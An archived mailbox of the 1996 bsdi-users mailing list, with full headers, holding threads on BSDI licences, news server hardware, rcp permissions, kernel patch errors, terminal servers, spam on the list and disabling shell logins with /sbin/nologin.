Anyone else have that problem? That's reasonably normal for a Unix system. Why is it a problem? The things with destructive potential normally will refuse to cooperate for unprivileged users; the debugging tools (like traceroute) can often be useful even to normal users. This is not MSDOS, where the only way to stop someone from doing evil things is to prevent them from executing the relevant programs at all. This system has safeguards. Henry Spencer henry@zoo.toronto.edu From VM Sun Nov 3 22:31:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["271" "Sun" "3" "November" "1996" "12:57:18" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "11" "Re: BSDI for sale " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA14805 for ; Sun, 3 Nov 1996 13:06:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id MAA03531 for bsdi-users-outgoing; Sun, 3 Nov 1996 12:57:37 -0500 (EST) Message-Id: <199611031757.MAA10584@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Sat, 02 Nov 1996 09:00:59 CST. <199611030345.VAA02000@c4.pchnet.com> Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: "Carl Forester" cc: bsdi-users@BSDI.COM Subject: Re: BSDI for sale Date: Sun, 03 Nov 1996 12:57:18 -0500 In message <199611030345.VAA02000@c4.pchnet.com>you write: >We have 2 copies of bsdi for sale. > >16 user (no source, no support) $650.00 >16 user (6 month support, 6 month upgrade contract, no source) $900.00 What is the education/unlimited/full-source price? Jacob From VM Sun Nov 3 22:31:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["411" "Sun" "3" "November" "1996" "12:56:19" "-0500" "Vivek Khera" "khera@kci.kcilink.com" nil "14" "Re: Spam-removal software " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA14840 for ; Sun, 3 Nov 1996 13:07:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id MAA03524 for bsdi-users-outgoing; Sun, 3 Nov 1996 12:56:41 -0500 (EST) Message-Id: <199611031756.MAA08470@kci.kciLink.com> In-reply-to: Your message of "Sat, 02 Nov 1996 10:24:00 PST." Precedence: bulk From: Vivek Khera Sender: owner-bsdi-users@lists.gateway.com To: randy@psg.com (Randy Bush) cc: David Newall , bsdi-users@BSDI.COM (bsdi-users) Subject: Re: Spam-removal software Date: Sun, 03 Nov 1996 12:56:19 -0500 +--------- | > Not all of us are list managers. Give *us* a break. | | And not all of us are professional scuba divers, or ice cream makers, or | prostitutes, or ... | | This is a BSDI-specific list. Let's try to keep it that way, please. +--------- Well, the question has to do directly with our use of the list itself. Do you propose creating a list to discuss the mailing list itself now? v. From VM Sun Nov 3 22:31:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1051" "Sun" "3" "November" "1996" "11:27:34" "-0800" "Tim Keanini" "blast@broder.com" nil "22" "Re: Hard disk mounting. " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA17300 for ; Sun, 3 Nov 1996 14:40:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id OAA03633 for bsdi-users-outgoing; Sun, 3 Nov 1996 14:28:59 -0500 (EST) In-Reply-To: <199611030302.WAA07549@jparnas.cybercom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tim Keanini Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" cc: Vivek Khera , Konstantin Barinov , bsdi-users@BSDI.COM Subject: Re: Hard disk mounting. Date: Sun, 3 Nov 1996 11:27:34 -0800 (PST) On Sat, 2 Nov 1996, Jacob M. Parnas wrote: > Is 3.0 Beta available? Is there a proceedure to request it if you're getting > updates? I want to clarify my last posting. I meant that we have configured the pseudo driver 'cd' in 2.1 but it is tough getting stuff like newfs to behave. 'cd' is not supported in 2.1 but from what I hear it will be in version 3.0. I am not a part of the Beta process and have no idea how to become a part of it. --blast %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% \ Tim Keanini | "The limits of my language, / / | are the limits of my world." \ \ blast@broder.com | --Ludwig Wittgenstein / \ +================================================/ |Key fingerprint = 7B 68 88 41 A8 74 AB EC F0 37 98 4C 37 F7 40 D6 | / PUB KEY: http://www-swiss.ai.mit.edu/~bal/pks-commands.html \ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% From VM Sun Nov 3 22:31:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["723" "Sun" "3" "November" "1996" "14:36:29" "-0600" "Tim Flavin" "tim@mail1.i1.net" nil "23" "Multiple networks on same ethernet card" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA19243 for ; Sun, 3 Nov 1996 15:49:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id PAA03774 for bsdi-users-outgoing; Sun, 3 Nov 1996 15:36:35 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tim Flavin Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Multiple networks on same ethernet card Date: Sun, 3 Nov 1996 14:36:29 -0600 (CST) Been searching the bsdi-users archive and have not found what I am looking for, so any help would be greatly apreciated. I need to renumber my network and for a short time need 2 BSDi boxes (my primary and secondary nameservers) to work on both networks, all other machines can just go onto the new network. There seems to be a ton of info on how to add an ip if it is on the same network, and I have no problem doing that, have a machine with 200 ip's already. It's just the different network I am having trouble with. Example: Primary DNS server is 205.216.202.1 need it to also answer to 207.230.32.1 Already have my Cisco setup for the new network and a few machines working off the new network. thanks, Tim From VM Sun Nov 3 22:31:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["679" "" "3" "November" "1996" "21:17:27" "GMT" "Ed Lafferty" "epl@admin.vitinc.com" nil "25" "Rcp question" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA21180 for ; Sun, 3 Nov 1996 16:55:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id QAA03862 for bsdi-users-outgoing; Sun, 3 Nov 1996 16:49:31 -0500 (EST) Path: usenet Newsgroups: info.bsdi.users Organization: Internet Marketing Techniques Lines: 24 Message-ID: <55j258$5fl@nnews.vitinc.com> Reply-To: epl@vitinc.com NNTP-Posting-Host: lafferty.vitinc.com Mime-Version: 1.0 Content-Type: Text/Plain; charset=US-ASCII X-Newsreader: WinVN 0.99.8 (beta 2) Precedence: bulk From: epl@admin.vitinc.com (Ed Lafferty) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Rcp question Date: 3 Nov 1996 21:17:27 GMT Regarding rcp and ownership / permissions.. Building new server and attempting to rcp complete system from BSDI 2.0.1 to 2.1. When moving files such as /etc/raddb (Radius) and passwd - master.passwd - /var/www/* - etc. everything goes OK. Have 2.0.1 passwd files and group files on new machine. When moving /usr/home/users - the permissions all revert to root.wheel. Syntax I'm using is: rcp -Kpr admin:/usr/home/username /usr/home Kerberos is installed but not active. I realize I can chown -R username.user username to fix this - but there must be a better way. I will be using rcp -Kpr admin:/usr/home/* /usr/home when I get this right. What am I doing wrong..? From VM Sun Nov 3 22:31:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1376" "Sun" "3" "November" "1996" "16:15:59" "-0500" "Evan Champion" "evanc@synapse.net" nil "53" "Re: Revised News Server specs" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA22286 for ; Sun, 3 Nov 1996 17:39:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id RAA03910 for bsdi-users-outgoing; Sun, 3 Nov 1996 17:29:13 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Evan Champion Sender: owner-bsdi-users@lists.gateway.com To: Jeff Campbell cc: bsdi-users@BSDI.COM Subject: Re: Revised News Server specs Date: Sun, 3 Nov 1996 16:15:59 -0500 (EST) Replace the 2940's with Buslogic 958's, or even better, a 958 running all your disks except the spool disks, and a DPT 3334UW for the spool. Evan On Sun, 3 Nov 1996, Jeff Campbell wrote: > > Thanks to everyone for their feedback regarding a news server to > support ~14,000 groups with a minimum of 5 days before expire and some > room for growth. > > From the information provided I have developed this revised spec > (with an eye towards 3.0 coming down the pipe soon with revised Adaptec > support). > > Pentium Pro 200 > 256 MB RAM > PCI/ISA MB > ISA Video (console only, no X stuff here) > SMC PCI 10/100 Ethernet > 3 Adaptec 2940UW Controllers (PCI) > 2 with 2 X 4 Gig Seagate Barracudas (total 16 Gigs) > 1 with 1 X 4G SB, and 1GB System drive, DAT > IDE CDROM utilising onboard controller > Floppy/Keyboard > Rackmount chasis with additional ISA fan card > 15" Monitor > > > The news disks would be mounted under /var/spool/news with a 4 Gig > going to alt.binaries, and the others spread around appropriately. > > What do you think? What are teh bigest drawbacks of this > system? > > PS> Does 3.0 support more than 256 MB of RAM? > > -- > Jeff > > > > > > -- Evan Champion * Director, Network Operations mailto:evanc@synapse.net * Directeur, Exploitation du reseau http://www.synapse.net/ * Synapse Internet From VM Sun Nov 3 22:31:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["725" "Sun" "3" "November" "1996" "15:58:27" "-0700" "Jim Hribnak" "hribnak@nucleus.com" nil "25" "Trouble installing patches" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA22826 for ; Sun, 3 Nov 1996 17:59:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id RAA03951 for bsdi-users-outgoing; Sun, 3 Nov 1996 17:52:31 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jim Hribnak Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Trouble installing patches Date: Sun, 3 Nov 1996 15:58:27 -0700 (MST) I just installed the K210-019 patch and it tells me to enter in options INET_SERVER into my config file and re-run config.. Well I have done this and get the following error when doing a MAKE (after going through all the previous steps on page 140 and 141 of the manaul./ ../../netinet/in_proto.c:358: redefinition of `tcp_listen_hash_size' ../../netinet/in_proto.c:346: here is the previous declaration of `tcp_listen_hash_size' ../../netinet/in_proto.c:359: redefinition of `tcp_conn_hash_size' ../../netinet/in_proto.c:347: here is the previous declaration of `tcp_conn_hash_size' *** Error code 1 Why is the above error coming up when I try and re-build my kernel? Someone get back to me please.. Thanks!~ Jim From VM Sun Nov 3 22:31:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1720" "" "3" "November" "1996" "23:07:12" "GMT" "david@news1.anet-dfw.com" "david@news1.anet-dfw.com" nil "32" "Re: BSDI box as Term Server" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA23100 for ; Sun, 3 Nov 1996 18:15:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id SAA03971 for bsdi-users-outgoing; Sun, 3 Nov 1996 18:07:28 -0500 (EST) Path: news1.anet-dfw.com!david Newsgroups: info.bsdi.users Organization: Anet News Services Lines: 31 Message-ID: <55j8j0$dku@news1.anet-dfw.com> References: <3.0.32.19961102124650.006cedb8@pop.comptec.com> NNTP-Posting-Host: news1.anet-dfw.com X-Newsreader: TIN [version 1.2 PL2] Precedence: bulk From: david@news1.anet-dfw.com () Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Re: BSDI box as Term Server Date: 3 Nov 1996 23:07:12 GMT CompTech Internet Services (comptech@comptec.com) wrote: : We would like to use BSDI as a term server to hang modems off of. : Currently we have 1 BSDI box running authentication, mail, www for personal : pages. We would like to have bring up another box with say a 64 port card : in it and have it utilize the filesystems off the main machine rather than : have its own for passwd, /usr/home/user, /var/mail, etc etc. My question : is, where should we be looking to perform this procedure? We have tried : NFS, but alas we are not very experienced in that area. Any help would be : appreciated, even a "type man ???" would at least point us in the right : direction. You could always use something like a digiboard, but for not much price differences, you can purchase a terminal server. Something like a livingston portmaster 30port would run you (if you are a isp and know where to buy your merchandise) about $2800.00. If you are not a isp, you are looking at about $1000.00 more. The Digiboard pc/xem is about $850 for 16 ports. You would obviously need 4 digi's for 64 ports, or 2 portmasters for 60 ports. I recommend spending the extra cash and getting a term server like the portmaster, or maybe a higher end model like a ascend box or USR total control rack. Ascend is having specials to move their Max4000 product to make way for the Max TNT. Unfortunately, the Max4000 series can only handle a maximum of 48 simultanious analog calls, or a combonation of 96 analog/isdn calls. If you are looking for simply a analog solution, the ascend box can get pricy for only 48 ports. Check out the USR TC rack with the management card, they are nice and should be able to support X2 (56k analog). Db From VM Sun Nov 3 22:31:47 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2069" "Sun" "3" "November" "1996" "15:42:26" "-0800" "Stephen Roderick" "steve@proaxis.com" nil "70" "Re: Revised News Server specs" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA24195 for ; Sun, 3 Nov 1996 18:50:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id SAA03998 for bsdi-users-outgoing; Sun, 3 Nov 1996 18:42:40 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stephen Roderick Sender: owner-bsdi-users@lists.gateway.com To: Jeff Campbell cc: bsdi-users@BSDI.COM Subject: Re: Revised News Server specs Date: Sun, 3 Nov 1996 15:42:26 -0800 (PST) On Sun, 3 Nov 1996, Jeff Campbell wrote: > > Thanks to everyone for their feedback regarding a news server to > support ~14,000 groups with a minimum of 5 days before expire and some > room for growth. > > From the information provided I have developed this revised spec > (with an eye towards 3.0 coming down the pipe soon with revised Adaptec > support). > > Pentium Pro 200 > 256 MB RAM > PCI/ISA MB > ISA Video (console only, no X stuff here) > SMC PCI 10/100 Ethernet > 3 Adaptec 2940UW Controllers (PCI) > 2 with 2 X 4 Gig Seagate Barracudas (total 16 Gigs) > 1 with 1 X 4G SB, and 1GB System drive, DAT > IDE CDROM utilising onboard controller > Floppy/Keyboard > Rackmount chasis with additional ISA fan card > 15" Monitor > > The news disks would be mounted under /var/spool/news with a 4 Gig > going to alt.binaries, and the others spread around appropriately. 1) Your CPU will be mostly idle. 2) You have 16 gigs but 4 gigs for alt.binaries? We have 4 gigs for alt.binaries and we can't carry more than 1 or 2 days! 3) This whole system seems like serious overkill. I would try: Pentium 150 128MB RAM PCI Video (cheap) SMC PCI 10/100 Ethernet (I've heard DE500 is better) 3 Adaptec 2940UW Controllers (PCI) 1. 1 2gig Barracuda (overview disk) 1 2gig Barracuda (system + history disk) 2. 2 4gig Barracuda (spool) 3. 2 4gig Barracuda (alt.binaries) IDE CDROM (skip it or keep doesn't matter) etc. My magic formula for NEWS disk space 1x = /var/news/spool 1x = /var/news/spool/alt/binaries .25x = /var/news/spool_over .125x = /var/news/etc pick your own x > What do you think? What are teh bigest drawbacks of this > system? I would use the PPro 200 for my Web Server running all my CGI, and database stuff. All that perl is where you need your CPU! Good luck, Steve --- Steve Roderick ProAxis Communications, Inc. steve@proaxis.com Internet Access Provider (541) 757-0248 From VM Sun Nov 3 22:31:49 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3136" "Sun" "3" "November" "1996" "19:40:00" "EST" "Richard Noel" "richard.noel@wang.com" nil "84" "RE: shell login restriction" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA25548 for ; Sun, 3 Nov 1996 19:47:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id TAA04060 for bsdi-users-outgoing; Sun, 3 Nov 1996 19:38:06 -0500 (EST) Message-ID: <327BEACD@SMTPGTWY.WANG.COM> Encoding: 83 TEXT X-Mailer: Microsoft Mail V3.0 Precedence: bulk From: "Noel, Richard" Sender: owner-bsdi-users@lists.gateway.com To: BSDI Users Subject: RE: shell login restriction Date: Sun, 03 Nov 96 19:40:00 EST Thanks for your responses Barry. However, it's not necessary for the user's shell as specified in /etc/passwd to be listed in /etc/shells. Not having a shell, or what is being used as the "shell" argument, listed in /etc/shells means (possibly among other things) that the account can *not* be used to establish an ftp session. One other resrtiction that I can think of is that normal users can only use those shells listed in /etc/shells as an argument to the chsh command; the root user may use chsh without this restriction however. I would have been surprised if it worked as you suggested because BSDI provides /sbin/nologin and it's not likely they would have overlooked something so obvious. That said, I do agree that the verbage I've used in /sbin/nojoe is only inviting trouble so I will change that. And I would welcome further comments regarding possible liabilities of using /sbin/nologin type shells. Thanks again ... Richard noel@wang.com ---------- From: ubu To: Noel, Richard; bsdi-users Subject: RE: shell login restriction Date: Friday, November 01, 1996 5:48PM This is a bad idea - you've just told anyone who cares to look which of your accounts have identical userid and logins. Now, they are prevented from opening a shell on your system, but so long as /sbin/nojoe is in /etc/shells (which it must be to make it their login shell), they can still access your system via ftp. I'd just as soon strangers don't have free reign to explore my filesystem. Barry On 1 Nov 96 at 9:24, Noel, Richard wrote: > > I've been using /sbin/nologin in this manner successfully, though if > anyone knows of possible security holes I'd appreciate hearing about > it. Similarly, I have cron periodically run a perl script that > compares the account password to the login id and if they're the > same, the account shell is changed to /sbin/nojoe, an edited copy of > nologin that echoes: > > THIS ACCOUNT HAS BEEN DISABLED BECAUSE YOUR PASSWORD IS > THE SAME AS YOUR LOGIN ID, ... > > and then drops the connection. > > Richard > noel@wang.com > > ---------- > From: owner-bsdi-users[SMTP:owner-bsdi-users@lists.gateway.com] > Sent: Thursday, October 31, 1996 1:42 PM To: Jayanta Mukherjee Cc: > bsdi-users Subject: Re: shell login restriction > > > > > I am using BSD 2.0 as a Internet mail server only. I want to > > disable > shell > > login for all. i.e. no body should be able login through > > "Telnet". Is it possible then how? > > > You can replace their shell with /sbin/nologin and then they can't > login at all. > > Amy :) > > Barry Hemphill EasyNet Inc. System Administrator Cambridge, Ontario, Canada ubu@easynet.on.ca (519)654-9999 fax(519)654-0301 This planet has -- or rather had -- a problem, which was this: most of the people living on it were unhappy for pretty much of the time. Many solutions were suggested for this problem, but most of these were largely concerned with the movements of small green pieces of paper, which is odd because on the whole it wasn't the small green pieces of paper that were unhappy. -- Douglas Adams From VM Sun Nov 3 22:31:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["847" "Sun" "3" "November" "1996" "20:18:37" "-0500" "John G. Scudder" "jgs@ieng.com" nil "23" "Re: BSDI box as Term Server" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA26363 for ; Sun, 3 Nov 1996 20:19:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id UAA04163 for bsdi-users-outgoing; Sun, 3 Nov 1996 20:18:52 -0500 (EST) Message-Id: In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: "John G. Scudder" Sender: owner-bsdi-users@lists.gateway.com To: david@news1.anet-dfw.com Cc: info-bsdi-users@uunet.uu.net Subject: Re: BSDI box as Term Server Date: Sun, 3 Nov 1996 20:18:37 -0500 At 7:16 PM -0600 11/3/96, david@news1.anet-dfw.com wrote: >> Ascend now has 12-modem digital modem cards (they formerly had only 8-modem >> cards). With 6 12-modem cards you can handle 72 analog calls. > >Yes, but the problem with that is the price. You can get a Max400 for >under $20,000, the new TNT server will run well over $60,000 with all the >cards. I am not sure if the 4000 is capable of taking the new cards. >Hopefully :) I should've been more clear. The 4000 can take the 12-port cards just fine. (There's a matrix of all the Max variants' features at http://www.ascend.com.) --John -- John Scudder email: jgs@ieng.com Internet Engineering Group, LLC phone: (313) 669-8800 122 S. Main, Suite 280 fax: (313) 669-8661 Ann Arbor, MI 41804 www: http://www.ieng.com From VM Sun Nov 3 22:31:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["593" "Sun" "3" "November" "1996" "20:12:39" "-0500" "John G. Scudder" "jgs@ieng.com" nil "17" "Re: BSDI box as Term Server" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA26367 for ; Sun, 3 Nov 1996 20:19:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id UAA04134 for bsdi-users-outgoing; Sun, 3 Nov 1996 20:13:21 -0500 (EST) Message-Id: In-Reply-To: <55j8j0$dku@news1.anet-dfw.com> References: <3.0.32.19961102124650.006cedb8@pop.comptec.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: "John G. Scudder" Sender: owner-bsdi-users@lists.gateway.com To: david@news1.anet-dfw.com () Cc: info-bsdi-users@uunet.uu.net Subject: Re: BSDI box as Term Server Date: Sun, 3 Nov 1996 20:12:39 -0500 At 11:07 PM +0000 11/3/96, david@news1.anet-dfw.com () wrote: >Unfortunately, the Max4000 series can only handle a maximum >of 48 simultanious analog calls, or a combonation of 96 analog/isdn calls. Ascend now has 12-modem digital modem cards (they formerly had only 8-modem cards). With 6 12-modem cards you can handle 72 analog calls. --John -- John Scudder email: jgs@ieng.com Internet Engineering Group, LLC phone: (313) 669-8800 122 S. Main, Suite 280 fax: (313) 669-8661 Ann Arbor, MI 41804 www: http://www.ieng.com From VM Sun Nov 3 22:31:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["630" "Sun" "3" "November" "1996" "19:16:19" "-0600" "david@news1.anet-dfw.com" "david@news1.anet-dfw.com" nil "16" "Re: BSDI box as Term Server" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA26372 for ; Sun, 3 Nov 1996 20:20:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id UAA04148 for bsdi-users-outgoing; Sun, 3 Nov 1996 20:17:15 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: david@news1.anet-dfw.com Sender: owner-bsdi-users@lists.gateway.com To: "John G. Scudder" cc: info-bsdi-users@uunet.uu.net Subject: Re: BSDI box as Term Server Date: Sun, 3 Nov 1996 19:16:19 -0600 (CST) On Sun, 3 Nov 1996, John G. Scudder wrote: > At 11:07 PM +0000 11/3/96, david@news1.anet-dfw.com () wrote: > >Unfortunately, the Max4000 series can only handle a maximum > >of 48 simultanious analog calls, or a combonation of 96 analog/isdn calls. > > Ascend now has 12-modem digital modem cards (they formerly had only 8-modem > cards). With 6 12-modem cards you can handle 72 analog calls. Yes, but the problem with that is the price. You can get a Max400 for under $20,000, the new TNT server will run well over $60,000 with all the cards. I am not sure if the 4000 is capable of taking the new cards. Hopefully :) DB From VM Sun Nov 3 22:31:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["504" "Sun" "3" "November" "1996" "21:12:42" "-0500" "Curtis Turner" "cturner@twd.net" nil "27" "rcp answer" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA27467 for ; Sun, 3 Nov 1996 21:01:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id UAA04242 for bsdi-users-outgoing; Sun, 3 Nov 1996 20:56:47 -0500 (EST) Message-ID: <327D511A.73D@twd.net> Reply-To: cturner@twd.net X-Mailer: Mozilla 3.0 (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Curtis Turner Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net CC: epl@vitinc.com Subject: rcp answer Date: Sun, 03 Nov 1996 21:12:42 -0500 Mabee not the answer you are looking for but this will do 1st goto the the /usr/home directory then type this line verbatim ll |grep drwx |awk '{fs=" "}{print "chown -R "$9,$9}' >temp this will then make a file that looks like this chown -R sam sam chown -R bob bob chown -R sally sally you can then execute this file sh temp this will then turn all of the dir's to their rightful owners. i did this and i had several thosand customers!!! if you need anymore help let me know . thanx curt From VM Mon Nov 4 23:53:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1064" "Mon" "4" "November" "1996" "14:27:59" "+1030" "David Newall" "davidn@rebel.net.au" nil "21" "Re: Spam-removal software" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA01126 for ; Sun, 3 Nov 1996 23:06:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA14547 for bsdi-users-outgoing; Sun, 3 Nov 1996 22:58:41 -0500 (EST) Message-Id: <199611040357.OAA18606@rebel.net.au> Content-Type: text Precedence: bulk From: David Newall Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM (bsdi-users) Subject: Re: Spam-removal software Date: Mon, 4 Nov 1996 14:27:59 +1030 (CST) Someone who remains anonymous said: > if you are so obsessed with form as opposed to content, sure. anything to > get this useless garbage off the list. it's so much worse than the actual > spam that you should be embarrassed. This is such cheek, criticising people for trying to improve the service of this list. Especially when it's criticism against people doing something about a problem, while at the same time deploring the problem being fixed. This energy should be spent fixing problems, not attacking others who are fixing them. Or spending energy supporting those who are fixing problems. That would be so much better than this: being a self-righteous pratt who attacks improvement while grizzling about the problem that's being fixed. And on a private note to the person who remains anonymous: in case you haven't noticed: You have been one of those publicly vocal against discussiohn of spam, yet you say discussion about spam has no place on this list. So you stop discussing it. [Standard disclaimer: These are my private opinions] From VM Mon Nov 4 23:53:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["699" "Sun" "3" "November" "1996" "23:15:01" "-0500" "Alan B. Clegg" "abc@gateway.com" nil "21" "New software installed." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA02266 for ; Sun, 3 Nov 1996 23:52:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA23732 for bsdi-users-outgoing; Sun, 3 Nov 1996 23:46:07 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Alan B. Clegg" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@lists.gateway.com Subject: New software installed. Date: Sun, 3 Nov 1996 23:15:01 -0500 (EST) As my wife is off at some Microsoft PDC, I have had time this evening to hack a bit. Majordomo 1.94 and an updated sendmail is now installed. In addition, I've worked a bit on the config files of the bsdi-users and bsdi-users-d lists. I'll send more information when I am a bit more coherent. If you have problems posting to the list, let me know via e-mail to: abc@gateway.com As soon as possible. -abc | Death, Taxes, and Liberals will always be with us. | Alan B. Clegg At least Death never gets any worse. | gateway.com, inc. | From VM Mon Nov 4 23:54:08 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["171" "Sun" "3" "November" "1996" "23:24" "PST" "Randy Bush" "randy@psg.com" nil "10" "Re: Spam-removal software" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id CAA08468 for ; Mon, 4 Nov 1996 02:34:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id CAA26142 for bsdi-users-outgoing; Mon, 4 Nov 1996 02:24:20 -0500 (EST) Message-Id: References: <199611040357.OAA18606@rebel.net.au> Precedence: bulk From: randy@psg.com (Randy Bush) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM (bsdi-users) Subject: Re: Spam-removal software Date: 